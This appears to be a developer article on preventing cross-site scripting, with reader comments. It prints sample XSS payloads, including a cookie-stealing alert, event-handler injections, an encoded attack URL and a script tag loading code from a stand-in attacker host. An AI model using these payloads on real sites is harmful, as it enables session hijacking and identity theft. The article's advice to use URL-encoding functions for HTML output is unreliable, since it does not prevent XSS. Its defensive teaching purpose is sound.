Preventing Cross Site Scripting (XSS)

Published:
Updated:
Cross Site Scripting (XSS) can be used by 'hackers' to gain access to your website by using another user's session.  In addition it can be used to place information on your webpages, run scripts and even redirect your visitors to another website.

According to the 2008 WhiteHat Security Statistics Report the most common vulnerability is XSS which accounts for 70% all vulnerabilities.  The second most common vulnerability is content spoofing which represents just 7%.

XSS is a technique used by 'hackers' to run scripts on your web pages.  This can be done in a number of ways.  Lets say your website has a list of users that list is driven by a database.  On your website you have a page that displays a list of these users.   If the user is allowed to enter their own username a 'hacker' could exploit XSS to run a script on your webpage by entering the script as their username.   For example a hacker might enter the following as a username.
<SCRIPT>alert('hi')</SCRIPT>

Open in new window


Now when your webpage displays the list of usernames an alert box will appear on the page saying hi.

While an alert box may not be a serious security problem this technique can be used to run any script.  Instead of an alert box the script could easily be modified to send a visitor to a different website or display logos, text and hyperlinks on your website.    Perhaps the most serious though is that it can be used to pass the SessionID to another website.  If a 'hacker' entered the code below as a username it will display the users SessionID and any Cookies in an alert box when they visit the webpage - this information could easily be passed to another website by appending it to the querystring of an image or iframe source.
<SCRIPT>alert(document.cookie)</script>

Open in new window


If a hacker can get a user's SessionID they can then use this information to carry out an attack known as Session Hijacking.  Using the SessionID the 'hacker' will visit your website.  As the 'hacker' has provided a valid SessionID your webserver will assume they are the user whose SessionID they have captured and will treat them as that user.   Therefore if that user logs into your website the 'hacker' will also be logged in.   If you website allows users to change their password, place orders or update their contact details then the 'hacker' will also be able to do the same and effectively steal the identity of your user.

XSS is not just limited to databases.  If you have a webpage that takes any values passed to it and outputs them in the HTML a hacker could use XSS to compromise security and carry out Session Hijacking.   For example, let's say you have a Search page on your website.  At the top of the search page you might have something like '.... your search for ..XXXXXX... returned 9999 results'.   For the purpose of this demonstration we will also assume the Search Phrase is passed to the search page on the URL querystring.  Therefore a typical search request will result in a URL that looks like this:
http://www.mysite.com/search.asp?SearchPhrase=hello

Open in new window


If you change the URL to:
http://www.mysite.com/search.asp?SearchPhrase=<script>alert('hi')</script>

Open in new window


It will show an alert box saying hi.  Again, the script could contain anything, a logo, text, hyperlinks, etc or again it could pass the SessionID to a 'hackers' webpage.

This does however leave the question of how would a 'hacker' get somebody to visit this URL?  One way is to send out an email broadcast containing the URL as a hyperlink.  Alternatively, the 'hacker' could place the hyperlink on other websites they have control of.  This leaves just one problem for the 'hacker' most people will see this strange looking URL and realise that something is wrong.  To overcome this problem 'hackers' will frequently encode the url which disguises its harmful nature.  Look at examples below, both URLS are actually identical however the second url is encoded which hides the XSS script.
http://www.mysite.com/search.asp?Search=<SCRIPT>alert('hi')</SCRIPT>
                      http://www.mysite.com/search.asp%3F%53%65%61%72%63%68%3D%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%27%68%69%27%29%3C%2F%53%43%52%49%50%54%3E

Open in new window


Anybody clicking on these carefully crafted hyperlinks either from an email or another website will cause the XSS script to run when your website loads into their browser.  Since the user has clicked a link which genuinely takes them to your website your customers are going to blame you since you failed to protect them.

Hopefully, I have now highlighted the dangers XSS represents and you will want to know what can be done to prevent it happening on your website.

Firstly, you need to assess which pages on your site are vulnerable to XSS.  These will be webpages that display data from a database, a querystring, a cookie or a form.

Once you have identified these pages you need to ensure that the data being displayed cannot contain a script.  The best way to do this is to ensure that your replace '<' and '>' tags with '&lt;' and '&gt;' in the data before sending it to the browser additionally you should also replace the open and close brackets '(', ')' with '&#40;' and '&#41;' respectively.

Replacing the '<', '>', '(' and ')' in this way allows them to be displayed correctly in the browser, but crucially it prevents the browser from interpreting them as command tags and therefore any scripts will not run.

In ASP you can do this using:
Server.URLEncode(YOUR_VARIABLE)

Open in new window


In PHP you can do this using
urlencode(YOUR_VARIABLE)

Open in new window


If you want to develop your own method of preventing XSS you will need to be familiar with scripting and bear in mind scripts can come in many different formats and can use many different triggers, see the examples below.

The example below doesn't use the <SCRIPT> command and highlights the importance of replacing the open and close brackets.
<a href="www.myweb.com" onMouseOver="alert('XSS Code')">a link</a>

Open in new window


This example uses the onLoad trigger and will run automatically once the page has loaded.
<BODY onLoad="alert('XSS Code')">

Open in new window


This is a basic script
<SCRIPT>alert('XSS Code')</SCRIPT>

Open in new window


This is the same basic script but we have modified the script tags so they are harder to detect
<SCRIPT />alert('XSS Code')</SCRIPT />

Open in new window


The example below calls the malicious XSS code from the hackers own webpage!
<script src="http://www.hack.com/XSScode.js"></script>

Open in new window


XSS is now widely recognised as the biggest security vulnerability and as XSS allows 'hackers' to run almost any script on your webpage it is potentially one of the most dangerous.  XSS attacks are also on the increase largely to do with the high success rate and the ease with which these attacks can be carried out.  Add to that the difficulty in identifying when you have been the victim of an XSS attack it is clear that XSS represents a big problem for web developers.

More information on XSS can be found at:
http://ha.ckers.org/xss.html - from a Hacking viewpoint
http://www.xssed.com/ - for the latest XSS threats
http://www.owasp.org/index.php/Cross_site_scripting - for more information on XSS and its prevention
5
5,654 Views

Comments (2)

Kevin CrossChief Technology Officer
CERTIFIED EXPERT
Most Valuable Expert 2011

Commented:
Glad your article made it back up.  Very nice.
For those of you reading, just remember that the attack occurs when the text is being displayed/used, as in the example of a search.  Usually the underlying web page goes to print out the search criteria which then runs the script; however, one method of avoiding this is to escape the unsafe characters to HTML so that print out on the page instead of executing as script.
<!-- Python -->
print cgi.escape("<script>alert('xss');</script>")
<!-- result: &lt;script&gt;alert('xss');&lt;/script&gt; -->
 
<!-- ASP -->
<%= HTMLEncode(<script>alert('xss');</script>) %>
 
<!-- PERL -->
$text =~ s/[^A-Za-z0-9 ]*/ /g;
HTML::Entities::encode($text);
Apache::Util::html_encode($text));

Open in new window

Kyle SantosQuality Assurance
CERTIFIED EXPERT

Commented:
Great article.

Have a question about something in this article? You can receive help directly from the article author. Sign up for a free trial to get started.